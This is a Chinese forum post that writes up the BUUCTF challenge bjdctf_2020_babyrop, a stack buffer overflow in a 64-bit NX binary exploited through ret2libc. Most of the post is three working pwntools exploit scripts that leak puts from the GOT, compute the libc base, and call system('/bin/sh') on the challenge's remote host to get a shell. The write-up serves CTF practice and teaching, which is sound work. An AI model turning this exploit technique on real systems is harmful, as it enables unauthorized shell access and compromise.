首页
社区
课程
招聘
[原创]【BUUCTF题库】bjdctf_2020_babyrop【ret2libc攻击,栈溢出】
发表于: 5小时前 50

[原创]【BUUCTF题库】bjdctf_2020_babyrop【ret2libc攻击,栈溢出】

5小时前
50

这题要用到ret2libc技术讲解这篇内容,大家可以先进行学习再来做这道题

我们还是先下载下来文件,进行文件分析

我们发现这是一个64位的、有NX保护的文件

接下来我们把文件丢到IDA里面进行反编译

我们看到main函数里面调用了一个vuln函数,我们双击查看函数

我们看见这个函数里面只有一个简单的输入,输入的长度为0x64,算是比较大的了,我们再双击一个buf函数,查看一下buf函数的偏移量

我们发现buf的偏移量为0x20,远小于read的0x64

接下来我们再按Shift+F12,查看一下字符串

我们看见并没有什么字符串是可以被我们所利用的

而且我们发现,在左边的函数列表中,并没有system这类后门函数,因此我们可以判断,这题使用的是ret2libc攻击拿到shell

如果不会ret2libc攻击的,可以在文章开头去看我的技术讲解,在这里我就默认大家都已经学过了,就不过多阐述了

因为这是一个64位的程序,所以我们难免要找到pop rdi;ret这条汇编代码,我们可以用下面的命令查找

ROPgadget --binary ./Desktop/pwn --only "pop|ret"

我们找到pop rdi;ret命令的地址为:0x0400733

再来找一下main函数的地址

main函数的地址为:0x04006AD


此题我是利用puts标准函数来泄露libc基址的,我们先来泄露puts的地址,寻找libc库

下面附上exp脚本

from pwn import *
from LibcSearcher import*
context(arch='amd64',os='linux')
io=remote("81e2c9968bd76a4abfb5e0fe.tcp-ctf2.dasctf.com", 9999, ssl=True, sni="81e2c9968bd76a4abfb5e0fe.tcp-ctf2.dasctf.com")

elf=ELF("./Desktop/pwn")
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
read_plt=elf.plt["read"]
pop_rdi=p64(0x0400733)

payload=b'A'*(0x20+8)+pop_rdi+p64(puts_got)+p64(puts_plt)+p64(0x4006AD)
io.recvuntil(b"Pull up your sword and tell me u story!\n")
io.sendline(payload)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

io.interactive()

我们在payload后面加上main函数的地址,是为了第二次利用栈溢出来调用我们找到的后门函数

我们已经成功泄露出puts函数的地址:0x7fed3abb2690

接下来有两种做法

一是使用pwn库的方法,这个方法需要自行去下载libc库

二是使用LibcSearcher库的方法,这个方法需要自己手动选择libc库,不需要手动下载

我分别用两种方法来做


一:pwn库方法

我们先去查找一下libc库的版本有哪些,libc库查询网站在这里

我们找到这些版本,这边我选择的是libc6_2.23-0ubuntu11_amd64这个版本,我们下载到exp文件路径里

我们用ELF方法使用libc6_2.23-0ubuntu11_amd64.so库,然后根据puts地址计算出libc库的基址,最后再计算出system和/bin/sh的地址

编写完整exp:

from pwn import *
from LibcSearcher import*
context(arch='amd64',os='linux')
io=remote("81e2c9968bd76a4abfb5e0fe.tcp-ctf2.dasctf.com", 9999, ssl=True, sni="81e2c9968bd76a4abfb5e0fe.tcp-ctf2.dasctf.com")

elf=ELF("./Desktop/pwn")
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
pop_rdi=p64(0x0400733)

payload=b'A'*(0x20+8)+pop_rdi+p64(puts_got)+p64(puts_plt)+p64(0x4006AD)
io.recvuntil(b"Pull up your sword and tell me u story!\n")
io.sendline(payload)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc=ELF("./libc6_2.23-0ubuntu11_amd64.so")
libc_base=puts_addr-libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]
binsh_addr=libc_base+next(libc.search(b"/bin/sh"))

payload=b'A'*(0x20+8)+pop_rdi+p64(binsh_addr)+p64(system_addr)
io.recvuntil('story!\n')
io.sendline(payload)

io.interactive()

我们就这样拿到了shell,接下来就是用ls和cat命令了

第一种方法我就讲完了,接下来是第二种方法

二:LibcSearcher库方法

这个方法其实和第一种方法是一样的原理,只是模块不一样

直接附上exp脚本

from pwn import *
from LibcSearcher import*
context(arch='amd64',os='linux')
io=remote("81e2c9968bd76a4abfb5e0fe.tcp-ctf2.dasctf.com", 9999, ssl=True, sni="81e2c9968bd76a4abfb5e0fe.tcp-ctf2.dasctf.com")

elf=ELF("./Desktop/pwn")
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
pop_rdi=p64(0x0400733)

payload=b'A'*(0x20+8)+pop_rdi+p64(puts_got)+p64(puts_plt)+p64(0x4006AD)
io.recvuntil(b"Pull up your sword and tell me u story!\n")
io.sendline(payload)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base+libc.dump("system")
binsh_addr=libc_base+libc.dump("str_bin_sh")

payload=b'A'*(0x20+8)+pop_rdi+p64(binsh_addr)+p64(system_addr)
io.recvuntil('story!\n')
io.sendline(payload)

io.interactive()

我们发现前面的代码都没变,变的只是后面查找libc库的代码,LibcSearcher库只是不需要自己去网站上找libc库而已

我们运行程序

我们发现LibcSearcher库自己就给我们把适合的libc库列出来了,我们只需要选择使用哪个就可以了

我还是选了第三个版本

我们发现也是成功拿到了shell,接下来要做什么就不需要我多说了吧

这就是第二种方法,原理都是一样的,只是库函数使用的变化而已


两种方法不分好坏,只是看哪种方法更适合做题就用哪个


冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

收藏
点赞 ・0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回